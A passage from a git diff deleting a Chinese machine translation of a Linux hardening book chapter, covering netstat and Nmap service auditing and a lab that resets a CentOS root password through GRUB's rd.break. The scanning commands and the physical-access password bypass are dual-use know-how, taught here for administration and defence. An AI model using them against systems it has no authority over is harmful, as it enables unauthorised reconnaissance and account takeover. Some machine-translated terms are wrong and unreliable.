.全扫描 - C .全快速终极 - D .全快速 - -# 进一步阅读 - -* Lynis 主页:https://cisofy . com/lynis/ -* Lynis 和 auditd 有何不同:[https://linux-audit.com/how-are-auditd-and-lynis-different/](https://linux-audit.com/how-are-auditd-and-lynis-different/) -* OpenVAS 主页:[http://www.openvas.org/](http://www.openvas.org/) -* Snort 主页:[https://www.snort.org/](https://www.snort.org/) -* 无人主页: [https://cirt.net/nikto2](https://cirt.net/nikto2) -* 安全洋葱主页:[https://securityonion.net/](https://securityonion.net/) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/14.md b/docs/master-linux-sec-hard/14.md deleted file mode 100644 index 0650a1e7..00000000 --- a/docs/master-linux-sec-hard/14.md +++ /dev/null @@ -1,1020 +0,0 @@ -# 十四、大忙人的安全提示和技巧 - -在这最后一章中,我想总结一些不一定适合前面章节的快速提示和技巧。对于忙碌的管理员来说,这些提示可以节省时间。首先,您将了解一些快速查看哪些系统服务正在运行的方法,以确保没有不需要的东西在运行。然后,我们将了解如何对 GRUB 2 引导加载程序进行密码保护,如何安全地配置 BIOS/UEFI 以帮助防止对物理可访问机器的攻击,以及如何使用核对表来执行安全的初始系统设置。 - -在本章中,我们将涵盖以下主题: - -* 审计系统服务 -* 保护 GRUB2 配置的密码 -* 安全配置和密码保护 UEFI/BIOS -* 设置系统时使用安全清单 - -# 技术要求 - -本章的代码文件可以在这里找到:[https://github . com/packt publishing/Mastering-Linux-Security-and-Harding-第二版](https://github.com/PacktPublishing/Mastering-Linux-Security-and-Hardening-Second-Edition)。 - -# 审计系统服务 - -不管我们谈论的是哪种操作系统,服务器管理的一个基本原则是,永远不要在服务器上安装任何不绝对需要的东西。你特别不希望任何不必要的网络服务运行,因为那会给坏人额外的方法进入你的系统。而且,总有可能是某个邪恶的黑客植入了某种充当网络服务的东西,你肯定想知道这一点。在本节中,我们将研究几种不同的方法来审计您的系统,以确保没有不必要的网络服务在其上运行。 - -# 使用 systemctl 审计系统服务 - -在 systemd 附带的 Linux 系统上,`systemctl`命令几乎是一个通用命令,可以为您做很多事情。除了控制系统的服务,它还可以向您显示这些服务的状态,如下所示: - -```sh -donnie@linux-0ro8:~> sudo systemctl -t service --state=active -``` - -下面是前面命令的分解: - -* `-t service`:我们想查看系统上服务的信息——或者说,过去被称为守护进程的信息。 -* `--state=active`:这指定我们要查看所有实际运行的系统服务的信息。 - -该命令的部分输出如下所示: - -```sh -UNIT LOAD ACTIVE SUB DESCRIPTION -accounts-daemon.service loaded active running Accounts Service -after-local.service loaded active exited /etc/init.d/after.local Compatibility -alsa-restore.service loaded active exited Save/Restore Sound Card State -apparmor.service loaded active exited Load AppArmor profiles -auditd.service loaded active running Security Auditing Service -avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack -cron.service loaded active running Command Scheduler -. . . -. . . - -``` - -一般来说,你不会想看到这么多信息,尽管你有时可能会。此命令显示系统上运行的每个服务的状态。我们现在真正感兴趣的是允许某人连接到您的系统的网络服务。那么,让我们看看如何缩小范围。 - -# 使用 netstat 审计网络服务 - -以下是您希望跟踪系统上运行的网络服务的两个原因: - -* 确保没有您不需要的合法网络服务正在运行 -* 为了确保您没有任何恶意软件正在监听其主机的网络连接 - -`netstat`命令既方便又好用。首先,假设您希望看到正在侦听的网络服务列表,等待有人连接到它们(由于格式限制,我只能在此显示部分输出。我们将看一些我不能马上展示的台词。另外,您可以从 Packt 出版网站下载完整输出的文本文件): - -```sh -donnie@linux-0ro8:~> netstat -lp -A inet -(Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 *:ideafarm-door *:* LISTEN - -tcp 0 0 localhost:40432 *:* LISTEN 3296/SpiderOakONE -tcp 0 0 *:ssh *:* LISTEN - -tcp 0 0 localhost:ipp *:* LISTEN - -tcp 0 0 localhost:smtp *:* LISTEN - -tcp 0 0 *:db-lsp *:* LISTEN 3246/dropbox -tcp 0 0 *:37468 *:* LISTEN 3296/SpiderOakONE -tcp 0 0 localhost:17600 *:* LISTEN 3246/dropbox -. . . -. . . -``` - -细分如下: - -* `-lp`:`l`表示我们想看哪些网络端口在监听。换句话说,我们希望看到哪些网络端口正在等待有人连接到它们。`p`表示我们想看到在每个端口监听的程序或服务的名称和进程标识号。 -* `-A inet`:这意味着我们只希望看到属于`inet`家族成员的网络协议的信息。换句话说,我们想看到关于`raw`、`tcp`和`udp`网络套接字的信息,但是我们不想看到任何关于只处理操作系统内进程间通信的 Unix 套接字的信息。 - -由于这个输出来自于我目前正在使用的 openSUSE 工作站,所以您在这里看不到任何常见的服务器类型的服务。但是,您将看到一些您可能不希望在服务器上看到的东西。例如,让我们看看第一项: - -```sh -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 *:ideafarm-door *:* LISTEN - -``` - -`Local Address`列指定该监听套接字的本地地址和端口。星号表示该套接字在本地网络上,而`ideafarm-door`是正在侦听的网络端口的名称。(默认情况下,`netstat`将尽可能通过从`/etc/services`文件中提取端口信息来显示端口名称。) - -现在因为不知道`ideafarm-door`服务是什么,就用我最喜欢的搜索引擎找了出来。通过将术语`ideafarm-door`插入 DuckDuckGo,我找到了答案: - -![](img/7e3197b4-8a5a-4036-bf1d-02c81cd48a22.png) - -顶部的搜索结果把我带到了一个名为 WhatPortIs 的网站。据此,`ideafarm-door`实际上是端口`902`,属于 VMware Server Console。好吧,这是有道理的,因为我确实在这台机器上安装了 VMware Player。所以,这都很好。 - -You can check out the WhatPortIs site here: [http://whatportis.com/](http://whatportis.com/). - -名单上的下一个是: - -```sh -tcp 0 0 localhost:40432 *:* LISTEN 3296/SpiderOakONE -``` - -此项显示本地地址为`localhost`,监听端口为端口`40432`。这一次,`PID/Program Name`专栏实际上告诉了我们这是什么。`SpiderOak ONE`是一种基于云的备份服务,您可能希望也可能不希望看到它在您的服务器上运行。 - -现在,让我们再看几个项目: - -```sh -tcp 0 0 *:db-lsp *:* LISTEN 3246/dropbox -tcp 0 0 *:37468 *:* LISTEN 3296/SpiderOakONE -tcp 0 0 localhost:17600 *:* LISTEN 3246/dropbox -tcp 0 0 localhost:17603 *:* LISTEN 3246/dropbox -``` - -在这里,我们可以看到`dropbox`和`SpiderOakONE`都是用星号列出的本地地址。所以,他们都使用本地网络地址。`dropbox`的端口名为`db-lsp`,代表 Dropbox 局域网同步协议。`SpiderOakONE`港没有正式名称,所以只列为`37468`港。下面两行显示`dropbox`也使用本地机器的地址,在端口`17600`和`17603`上。 - -到目前为止,我们只看到了 TCP 网络套接字。让我们看看它们与 UDP 套接字有何不同: - -```sh -udp 0 0 192.168.204.1:ntp *:* - -udp 0 0 172.16.249.1:ntp *:* - -udp 0 0 linux-0ro8:ntp *:* - -``` - -首先要注意的是`State`栏下什么都没有。那是因为,有了 UDP,就没有状态了。他们实际上正在监听数据包的进入,并准备好发送数据包。但是由于这是 UDP 套接字能做的所有事情,所以为它们定义不同的状态真的没有意义。 - -在前两行中,我们可以看到一些奇怪的本地地址。那是因为我在这个工作站上同时安装了 VMware Player 和 VirtualBox。这两个套接字的本地地址用于 VMware 和 VirtualBox 虚拟网络适配器。最后一行显示我的 OpenSUSE 工作站的主机名作为本地地址。在这三种情况下,端口都是网络时间协议端口,用于时间同步。 - -现在,让我们看看最后一组 UDP 项目: - -```sh -udp 0 0 *:58102 *:* 5598/chromium --pas -udp 0 0 *:db-lsp-disc *:* 3246/dropbox -udp 0 0 *:43782 *:* 5598/chromium --pas -udp 0 0 *:36764 *:* - -udp 0 0 *:21327 *:* 3296/SpiderOakONE -udp 0 0 *:mdns *:* 5598/chromium --pas -``` - -在这里,我们可以看到我的 Chromium 网络浏览器已经准备好接受几个不同端口上的网络数据包。我们还可以看到 Dropbox 使用 UDP 来接受来自安装了 Dropbox 的其他本地机器的发现请求。我假设端口`21327`为 SpiderOak ONE 执行相同的功能。 - -当然,由于这台机器是我的老黄牛工作站,Dropbox 和 SpiderOak ONE 对我来说几乎是不可或缺的。我自己安装的,所以我一直知道它们在那里。但是,如果您在服务器上看到类似这样的情况,您需要调查一下服务器管理员是否知道安装了这些程序,然后找出安装它们的原因。可能是他们在执行合法的功能,也可能不是。 - -A difference between Dropbox and SpiderOak ONE is that with Dropbox, your files don't get encrypted until they've been uploaded to the Dropbox servers. So, the Dropbox folk have the encryption keys to your files. On the other hand, SpiderOak ONE encrypts your files on your local machine, and the encryption keys never leave your possession. So, if you really do need a cloud-based backup service and you're dealing with sensitive files, something such as SpiderOak ONE would definitely be better than Dropbox. (And no, the SpiderOak ONE folk aren't paying me to say that.) - -如果您想查看端口号和 IP 地址而不是网络名称,请添加`n`选项。和以前一样,这里是部分输出: - -```sh -donnie@linux-0ro8:~> netstat -lpn -A inet -(Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN - -tcp 0 0 127.0.0.1:40432 0.0.0.0:* LISTEN 3296/SpiderOakONE -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - -tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - -tcp 0 0 0.0.0.0:17500 0.0.0.0:* LISTEN 3246/dropbox -tcp 0 0 0.0.0.0:37468 0.0.0.0:* LISTEN 3296/SpiderOakONE -tcp 0 0 127.0.0.1:17600 0.0.0.0:* LISTEN 3246/dropbox -. . . -. . . -``` - -要查看已建立的 TCP 连接,只需省略`l`选项。在我的工作站上,这是一个很长的列表,所以我将只显示几个项目: - -```sh -donnie@linux-0ro8:~> netstat -p -A inet -(Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) -Active Internet connections (w/o servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 1 0 linux-0ro8:41670 ec2-54-88-208-223:https CLOSE_WAIT 3246/dropbox -tcp 0 0 linux-0ro8:59810 74-126-144-106.wa:https ESTABLISHED 3296/SpiderOakONE -tcp 0 0 linux-0ro8:58712 74-126-144-105.wa:https ESTABLISHED 3296/SpiderOakONE -tcp 0 0 linux-0ro8:caerpc atl14s78-in-f2.1e:https ESTABLISHED 10098/firefox -. . . -. . . -``` - -`Foreign Address`列显示连接远端机器的地址和端口号。第一项显示与 Dropbox 服务器的连接处于`CLOSE_WAIT`状态。这意味着 Dropbox 服务器已经关闭了连接,我们现在正在等待本地机器关闭套接字。 - -因为那些国外地址的名字没有太大的意义,让我们添加`n`选项来查看 IP 地址: - -```sh -donnie@linux-0ro8:~> netstat -np -A inet -(Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) -Active Internet connections (w/o servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 1 192.168.0.222:59594 37.187.24.170:443 SYN_SENT 10098/firefox -tcp 0 0 192.168.0.222:59810 74.126.144.106:443 ESTABLISHED 3296/SpiderOakONE -tcp 0 0 192.168.0.222:58712 74.126.144.105:443 ESTABLISHED 3296/SpiderOakONE -tcp 0 0 192.168.0.222:38606 34.240.121.144:443 ESTABLISHED 10098/firefox -. . . -. . . -``` - -这一次,我们可以看到一些新的东西。第一项显示了火狐连接的`SYN_SENT`状态。这意味着本地机器正试图建立到外部 IP 地址的连接。同样,在`Local Address`下,我们可以看到我的 openSUSE 工作站的静态 IP 地址。 - -如果我有空间在这里显示整个`netstat`输出,你只会在`Proto`栏下看到`tcp`。这是因为 UDP 协议不像 TCP 协议那样建立连接。 - -Something to keep in mind is that rootkits can replace legitimate Linux utilities with their own trojaned versions. For example, a rootkit could have its own trojaned version of `netstat` that would show all network processes except for those that are associated with the rootkit. That's why you want something such as Rootkit Hunter in your toolbox. - -如果您需要更多关于`netstat`的信息,请参见`netstat`手册页。 - -# 动手实验–使用 netstat 查看网络服务 - -在本实验中,您将练习刚刚学到的`netstat`。在有桌面界面的虚拟机上这样做,这样你就可以使用火狐访问网站。请遵循以下步骤: - -1. 查看正在侦听连接的网络服务列表: - -```sh -netstat -lp -A inet -netstat -lpn -A inet -``` - -2. 查看已建立连接的列表: - -```sh -netstat -p -A inet -netstat -pn -A inet -``` - -3. 打开 Firefox 并导航到任何网站。然后,重复*步骤 2* 。 -4. 从您的主机,通过 SSH 登录到虚拟机。然后,重复*步骤 2* 。 - -您已经到达了实验室的终点–祝贺您! - -您刚刚看到了如何使用`netstat`审计网络服务。现在,让我们学习如何使用 Nmap 实现这一点。 - -# 使用 Nmap 审计网络服务 - -`netstat`工具非常好,它可以给你很多关于你的网络服务的好信息。稍微不利的一面是,您必须登录到网络上的每台主机才能使用它。 - -如果您想远程审计您的网络,查看每台计算机上运行的服务,而不必登录每台计算机,那么您需要一个工具,如 Nmap。它适用于所有主要的操作系统,所以即使你不得不在工作站上使用 Windows,你也是幸运的。如果你正在使用的话,Kali Linux 内置了一个最新版本。它也存在于每个主要 Linux 发行版的存储库中,但是 Linux 存储库中的版本通常很旧。所以,如果你用的不是 Kali,你最好的选择就是从它的创建者网站下载 Nmap。 - -You can download Nmap for all of the major operating systems from [https://nmap.org/download.html](https://nmap.org/download.html). - -在所有情况下,您还会找到安装说明。 - -您将在所有操作系统上以相同的方式使用 Nmap,只有一个例外。在 Linux 和 macOS 机器上,你会在某些 Nmap 命令前加上`sudo`,而在 Windows 机器上,你不会。(尽管在 Windows 10 上,您可能必须以管理员身份打开 command.exe 终端。)由于我刚好在我值得信赖的 openSUSE 工作站上工作,我将向您展示它在 Linux 上是如何工作的。让我们从进行 SYN 数据包扫描开始: - -```sh -donnie@linux-0ro8:~> sudo nmap -sS 192.168.0.37 - -Starting Nmap 6.47 ( http://nmap.org ) at 2017-12-24 19:32 EST -Nmap scan report for 192.168.0.37 -Host is up (0.00016s latency). -Not shown: 996 closed ports -PORT STATE SERVICE -22/tcp open ssh -515/tcp open printer -631/tcp open ipp -5900/tcp open vnc -MAC Address: 00:0A:95:8B:E0:C0 (Apple) - -Nmap done: 1 IP address (1 host up) scanned in 57.41 seconds -donnie@linux-0ro8:~> -``` - -细分如下: - -* `-sS`:小写的`s`表示我们要执行的扫描类型。大写的`S`表示我们正在进行同步数据包扫描。(稍后详细介绍。) -* `192.168.0.37`:这种情况下,我只是扫描单台机器。但是,我也可以扫描一组机器或整个网络。 -* `Not shown: 996 closed ports`:它显示的是所有这些关闭的端口而不是`filtered`端口,这个事实告诉我这台机器上没有防火墙。(一会儿会有更多内容。) - -接下来,我们可以看到打开的端口列表。(稍后详细介绍。) - -这台机器的媒体访问控制地址表明它是某种苹果产品。稍后,我将向您展示如何获得更多关于它可能是哪种苹果产品的详细信息。 - -现在,让我们更详细地看看这个。 - -# 港口国 - -Nmap 扫描将显示目标计算机处于三种状态之一的端口: - -* `filtered`:这表示端口被防火墙封锁了。 -* `open`:这意味着该端口没有被防火墙阻止,并且与该端口相关联的服务正在运行。 -* `closed`:这意味着该端口没有被防火墙阻止,并且与该端口相关联的服务没有运行。 - -因此,在我们对苹果机器的扫描中,我们可以看到安全外壳服务已经准备好接受端口`22`上的连接,打印服务已经准备好接受端口`515`和`631`上的连接,并且**虚拟网络计算** ( **VNC** )服务已经准备好接受端口`5900`上的连接。所有这些端口都会引起具有安全意识的管理员的兴趣。如果安全外壳正在运行,了解它的配置是否安全会很有趣。打印服务正在运行的事实意味着这将使用**互联网打印协议** ( **IPP** )。知道我们为什么使用 IPP 而不仅仅是常规的网络打印会很有意思,知道这个版本的 IPP 是否有任何安全问题也会很有意思。当然,我们已经知道 VNC 不是一个安全的协议,所以我们想知道它为什么运行。我们还看到没有端口被列为`filtered`,所以我们也想知道为什么这台机器上没有防火墙。 - -我最后要透露的一个小秘密是,这台机器和我在 OpenVAS 扫描演示中使用的是同一台机器。所以,我们已经有了一些需要的信息。OpenVAS 扫描告诉我们,这台机器上的 Secure Shell 使用了弱加密算法,打印服务存在安全漏洞。稍后,我将向您展示如何使用 Nmap 获取一些信息。 - -# 扫描类型 - -有许多不同的扫描选项,每个选项都有自己的用途。我们在这里使用的 SYN 数据包扫描被认为是一种隐蔽的扫描类型,因为它比某些其他类型的扫描产生更少的网络流量和更少的系统日志条目。通过这种类型的扫描,Nmap 向目标机器上的一个端口发送一个 SYN 数据包,就好像它试图创建一个到该机器的 TCP 连接。如果目标机器以 SYN/ACK 数据包响应,则意味着端口处于`open`状态,准备创建 TCP 连接。如果目标机器响应 RST 数据包,则意味着端口处于`closed`状态。如果完全没有反应,就说明端口是`filtered`,被防火墙封锁了。作为一名普通的 Linux 管理员,这是您通常会做的扫描类型之一。 - -`-sS`扫描显示的是 TCP 端口的状态,但没有显示 UDP 端口的状态。要查看 UDP 端口,请使用`-sU`选项: - -```sh -donnie@linux-0ro8:~> sudo nmap -sU 192.168.0.37 - -Starting Nmap 6.47 ( http://nmap.org ) at 2017-12-28 12:41 EST -Nmap scan report for 192.168.0.37 -Host is up (0.00018s latency). -Not shown: 996 closed ports -PORT STATE SERVICE -123/udp open ntp -631/udp open|filtered ipp -3283/udp open|filtered netassistant -5353/udp open zeroconf -MAC Address: 00:0A:95:8B:E0:C0 (Apple) - -Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds -donnie@linux-0ro8:~> -``` - -在这里,你可以看到一些有点不同的东西:两个端口被列为`open|filtered`。这是因为,由于 UDP 端口对 Nmap 扫描的响应方式,Nmap 不能总是分辨一个 UDP 端口是`open`还是`filtered`。在这种情况下,我们知道这两个端口可能是开放的,因为我们已经看到它们对应的 TCP 端口是开放的。 - -确认包扫描也很有用,但不能查看目标机器的网络服务状态。相反,当您需要查看您和目标机器之间是否有防火墙阻挡时,这是一个很好的选择。确认扫描命令如下所示: - -```sh -sudo nmap -sA 192.168.0.37 -``` - -你不局限于一次只扫描一台机器。您可以一次扫描一组计算机或整个子网: - -```sh -sudo nmap -sS 192.168.0.1-128 -sudo nmap -sS 192.168.0.0/24 -``` - -The first command scans only the first 128 hosts on this network segment. The second command scans all 254 hosts on a subnet that's using a 24-bit netmask. - -当您只需要查看网络上的设备时,发现扫描非常有用: - -```sh -sudo nmap -sn 192.168.0.0/24 -``` - -通过`-sn`选项,Nmap 将检测您是在扫描本地子网还是远程子网。如果子网是本地的,Nmap 将发出**地址解析协议** ( **ARP** )广播,请求子网中每台设备的 IPv4 地址。这是发现设备的可靠方法,因为 ARP 不会被设备的防火墙阻止。(我的意思是,如果没有 ARP,网络将停止运行。)但是,ARP 广播不能通过路由器,这意味着您不能使用 ARP 来发现远程子网中的主机。因此,如果 Nmap 检测到您正在远程子网进行发现扫描,它将发送 ping 数据包,而不是 ARP 广播。使用 ping 数据包进行发现不如使用 ARP 可靠,因为一些网络设备可以配置为忽略 ping 数据包。总之,这里有一个来自我自己家庭网络的例子: - -```sh -donnie@linux-0ro8:~> sudo nmap -sn 192.168.0.0/24 - -Starting Nmap 6.47 ( http://nmap.org ) at 2017-12-25 14:48 EST -Nmap scan report for 192.168.0.1 -Host is up (0.00043s latency). -MAC Address: 00:18:01:02:3A:57 (Actiontec Electronics) -Nmap scan report for 192.168.0.3 -Host is up (0.0044s latency). -MAC Address: 44:E4:D9:34:34:80 (Cisco Systems) -Nmap scan report for 192.168.0.5 -Host is up (0.00026s latency). -MAC Address: 1C:1B:0D:0A:2A:76 (Unknown) -. . . -. . . -``` - -在这个片段中,我们可以看到三个主机,每个主机有三行输出。第一行显示 IP 地址,第二行显示主机是否启动,第三行显示主机网络适配器的 MAC 地址。每个媒体访问控制地址中的前三对字符表示该网络适配器的制造商。(郑重声明,该未知网络适配器位于最新型号的千兆位主板上。我不知道为什么它不在 Nmap 数据库里。) - -我们将看到的最后一次扫描为我们做了四件事: - -* 它标识`open`、`closed`和`filtered` TCP 端口。 -* 它标识正在运行的服务的版本。 -* 它运行 Nmap 附带的一组漏洞扫描脚本。 -* 它试图识别目标主机的操作系统。 - -执行所有这些操作的扫描命令如下所示: - -```sh -sudo nmap -A 192.168.0.37 -``` - -我想你可以把`-A`选项想象成全部选项,因为它真的做到了全部。(嗯,几乎所有,因为它不扫描 UDP 端口。)首先,下面是我运行进行扫描的命令: - -```sh -donnie@linux-0ro8:~> sudo nmap -A 192.168.0.37 -``` - -以下是结果,为便于格式化,将结果分成几个部分: - -```sh -Starting Nmap 6.47 ( http://nmap.org ) at 2017-12-24 19:33 EST -Nmap scan report for 192.168.0.37 -Host is up (0.00016s latency). -Not shown: 996 closed ports -``` - -马上,我们可以看到这台机器上没有活动的防火墙,因为没有端口处于`filtered`状态。默认情况下,Nmap 只扫描 1000 个最受欢迎的端口。由于 996 个端口处于`closed`状态,我们显然只有四个活动网络服务可以监听这 1000 个端口中的任何一个: - -```sh -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 5.1 (protocol 1.99) -|_ssh-hostkey: ERROR: Script execution failed (use -d to debug) -|_sshv1: Server supports SSHv1 -515/tcp open printer? -``` - -端口`22`对安全外壳访问开放,这是我们通常期望的。但是,看看 SSH 版本。5.1 版本是 OpenSSH 真正的老版本。(撰写本文时,当前版本为 8.1 版。)更糟糕的是,这个 OpenSSH 服务器支持 Secure Shell 协议的版本 1。版本 1 有严重的缺陷,很容易被利用,所以你永远不想在你的网络上看到这个。 - -接下来,我们放大了通过 OpenVAS 扫描发现的打印服务漏洞的信息: - -```sh -631/tcp open ipp CUPS 1.1 -| http-methods: Potentially risky methods: PUT -|_See http://nmap.org/nsedoc/scripts/http-methods.html -| http-robots.txt: 1 disallowed entry -|_/ -|_http-title: Common UNIX Printing System -``` - -在`631/tcp`行,我们可以看到关联的服务是`ipp`。该协议基于我们用来查看网页的相同 HTTP。HTTP 用来将数据从客户端发送到服务器的两种方法是`POST`和`PUT`。我们真正想要的是每个 HTTP 服务器都使用`POST`方法,因为`PUT`方法使得某人很容易通过操纵 URL 来危害服务器。因此,如果你扫描一个服务器,发现它允许使用`PUT`方法进行任何类型的 HTTP 通信,你就有一个潜在的问题。在这种情况下,解决方案是更新操作系统,并希望更新能够解决问题。如果这是一个网络服务器,你会想与网络服务器管理员聊天,让他们知道你发现了什么。 - -接下来,我们可以看到 VNC 服务正在这台机器上运行: - -```sh -5900/tcp open vnc Apple remote desktop vnc -| vnc-info: -| Protocol version: 3.889 -| Security types: -|_ Mac OS X security type (30) -1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : -SF-Port515-TCP:V=6.47%I=7%D=12/24%Time=5A40479E%P=x86_64-suse-linux-gnu%r( -SF:GetRequest,1,"\x01"); -MAC Address: 00:0A:95:8B:E0:C0 (Apple) -Device type: general purpose -``` - -VNC 有时很方便。这就像微软的 Windows 远程桌面服务,只是它是免费的开源软件。但这也是一个安全问题,因为这是一个未加密的协议。因此,您的所有信息都以纯文本形式在网络上传播。如果你必须使用 VNC,通过 SSH 隧道运行它。 - -接下来,让我们看看 Nmap 对我们目标机器的操作系统发现了什么: - -```sh - -Running: Apple Mac OS X 10.4.X -OS CPE: cpe:/o:apple:mac_os_x:10.4.10 -OS details: Apple Mac OS X 10.4.10 - 10.4.11 (Tiger) (Darwin 8.10.0 - 8.11.1) -Network Distance: 1 hop -Service Info: OS: Mac OS X; CPE: cpe:/o:apple:mac_os_x -``` - -等等什么?macOS X 10.4?那真的,真的很古老吗?嗯,是的,它是。在过去的几章中,我一直在保守的秘密是,我的 OpenVAS 和 Nmap 扫描演示的目标机器是我从 2003 年开始收集的古老的苹果 eMac。我想扫描它会给我们一些有趣的结果,看起来我是对的。(而且没错,那是 eMac,不是 iMac。) - -最后我们能看到的是`TRACEROUTE`信息。不过,这不是很有趣,因为目标机器就在我旁边,我们之间只有一台思科交换机: - -```sh -TRACEROUTE -HOP RTT ADDRESS -1 0.16 ms 192.168.0.37 - -OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 213.92 seconds -donnie@linux-0ro8:~> -``` - -Let's say that the target machine has had its SSH service changed to some alternate port, instead of having it run on the default port, `22`. If you scan the machine with a normal `-sS` or `-sT` scan, Nmap won't correctly identify the SSH service on that alternate port. However, a `-A` scan will correctly identify the SSH service, regardless of which port it's using. - -好吧。让我们看看实验室。 - -# 动手实验室–使用 Nmap 扫描 - -在本实验中,您将看到扫描启用或禁用各种服务的机器的结果。您将从禁用防火墙的虚拟机开始。让我们开始吧: - -1. 使用以下命令简要阅读 Nmap 帮助屏幕: - -```sh -nmap -``` - -2. 从您的主机或另一台虚拟机,对防火墙已禁用的虚拟机执行这些扫描(用您自己的 IP 地址替换我在此使用的地址): - -```sh -sudo nmap -sS 192.168.0.252 -sudo nmap -sT 192.168.0.252 -sudo nmap -SU 192.168.0.252 -sudo nmap -A 192.168.0.252 -sudo nmap -sA 192.168.0.252 -``` - -3. 在 Ubuntu 上停止目标机器上的 SSH 服务: - -```sh -sudo systemctl stop ssh -``` - -在 CentOS 上,使用以下命令: - -```sh -sudo systemctl stop sshd -``` - -4. 重复步骤 2 。 - -您已经完成了本实验,祝贺您! - -既然您已经看到了如何扫描系统,让我们看看 GRUB2 引导加载程序。 - -# 保护 GRUB 2 引导加载程序的密码 - -人们有时会忘记密码,即使他们是管理员。有时候,人们买二手电脑却忘了问卖家密码是什么。(是的,我做到了。)不过没关系,因为所有主要的操作系统都有办法让您重置或恢复丢失的管理员密码。这很方便,除了当某人可以物理访问机器时,它确实使拥有登录密码的整个想法变得相当没有意义。假设你的笔记本电脑刚刚被偷了。如果你没有加密硬盘,小偷只需要几分钟就可以重置密码并窃取你的数据。如果您已经加密了驱动器,保护级别将取决于您运行的操作系统。使用标准的 Windows 文件夹加密,小偷只需重置密码就能访问加密的文件夹。使用 Linux 机器上的 LUKS 全磁盘加密,小偷将无法通过必须输入加密密码的点。 - -有了 Linux,我们有办法防止未经授权的密码重置,即使我们没有使用全磁盘加密。我们所要做的就是对**大统一引导加载程序** ( **GRUB** )进行密码保护,这样可以防止小偷进入紧急模式进行密码重置。 - -Whether or not you need the advice in this section depends on your organization's physical security setup. That's because booting a Linux machine into emergency mode requires physical access to the machine. It's not something that you can do remotely. In an organization with proper physical security, servers – especially ones that hold sensitive data – are locked away in a room that's locked within another room. Only a very few trusted personnel are allowed to enter, and they have to present their credentials at both access points. So, setting a password on the bootloader of those servers would be rather pointless, unless you're dealing with a regulatory agency that dictates otherwise. - -On the other hand, password protecting the bootloaders of workstations and laptops that are out in the open could be quite useful. However, that alone won't protect your data. Someone could still boot the machine from a live disk or a USB memory stick, mount the machine's hard drive, and obtain the sensitive data. That's why you also want to encrypt your sensitive data, as I showed you in [Chapter 5](05.html), *Encryption Technologies*. - -要重置密码,您所要做的就是在启动菜单出现时中断启动过程,并更改几个内核参数。然而,重置密码并不是您在引导菜单中唯一能做的事情。如果您的机器上安装了多个操作系统,例如,一个分区上的 Windows 和另一个分区上的 Linux,引导菜单允许您选择要引导的操作系统。使用老式的旧式 GRUB,您可以阻止人们编辑内核参数,但是您不能阻止他们在多引导机器上选择替代操作系统。借助新版 Linux 中的新 GRUB 2,您可以选择希望能够从任何特定操作系统引导的用户。 - -现在,为了让您知道我在说什么,当我说您可以从 GRUB 2 引导菜单编辑内核参数时,让我向您展示如何执行密码重置。 - -# 动手实验–重置红帽/CentOS 的密码 - -除了一个非常小的例外,这个过程在 CentOS 7 和 CentOS 8 上完全相同。让我们开始吧: - -1. 启动虚拟机。当启动菜单出现时,按一下*向下*箭头键,中断启动过程。然后,点击*向上*箭头键一次,选择默认启动选项: - -![](img/abadf6de-e57f-4ef2-8232-721d4b478ca8.png) - -2. 点击 *E* 键编辑内核参数。当 GRUB 2 配置出现时,向下移动光标,直到您看到这一行: - -![](img/3185473a-61ae-4907-ac16-615d5facbf4f.png) - -Note that on CentOS 7, the line begins with `linux16`, as shown here. On CentOS 8, the line begins with `linux`. - -3. 删除这一行的`rhgb quiet`字样,然后在行尾加上`rd.break enforcing=0`。以下是这两个新选项对您的帮助: - -* `rd.break`:这将导致机器启动进入紧急模式,这将为您提供 root 用户权限,而无需您输入 root 用户密码。即使没有设置根用户密码,这仍然有效。 -* `enforcing=0`:在启用 SELinux 的系统上进行密码重置时,`/etc/shadow`文件的安全上下文将更改为错误的类型。如果您这样做时系统处于强制模式,SELinux 将阻止您登录,直到`shadow`文件被重新标记。但是,在引导过程中重新标记可能会花费很长时间,尤其是对于大型驱动器。通过将 SELinux 设置为许可模式,您可以等到重新启动后,仅在`shadow`文件上恢复适当的安全上下文。 - -4. 编辑完内核参数后,点击 *Ctrl* + *X* 继续启动过程。这将通过`switch_root`命令提示符进入紧急模式: - -![](img/ddf71390-5744-401e-b492-9bd59014c50e.png) - -5. 在紧急模式下,文件系统以只读方式装载。您需要将其重新安装为读写模式并进入`chroot`模式,然后才能重置密码: - -```sh -mount -o remount,rw /sysroot -chroot /sysroot -``` - -输入这两个命令后,命令提示符将变为普通 bash shell 的提示符: - -![](img/30258b9b-4fff-4d4a-879d-05515b16bb41.png) - -现在您已经达到了这个阶段,您终于准备好重置密码了。 - -6. 如果您想重置根用户密码,或者即使您想创建一个以前不存在的根密码,只需输入以下内容: - -```sh -passwd -``` - -然后,输入新的所需密码。 - -7. 如果系统从未有过根用户密码,并且您仍然不希望它有根用户密码,您可以为具有完全 sudo 权限的帐户重置密码。例如,在我的系统上,命令如下所示: - -```sh -passwd donnie -``` - -8. 接下来,以只读方式重新装载文件系统。然后,输入`exit`两次恢复重启: - -```sh -mount -o remount,ro / -exit -exit -``` - -9. 重启后需要做的第一件事就是在`/etc/shadow`文件上恢复合适的 SELinux 安全上下文。然后,让 SELinux 回到强制模式: - -```sh -sudo 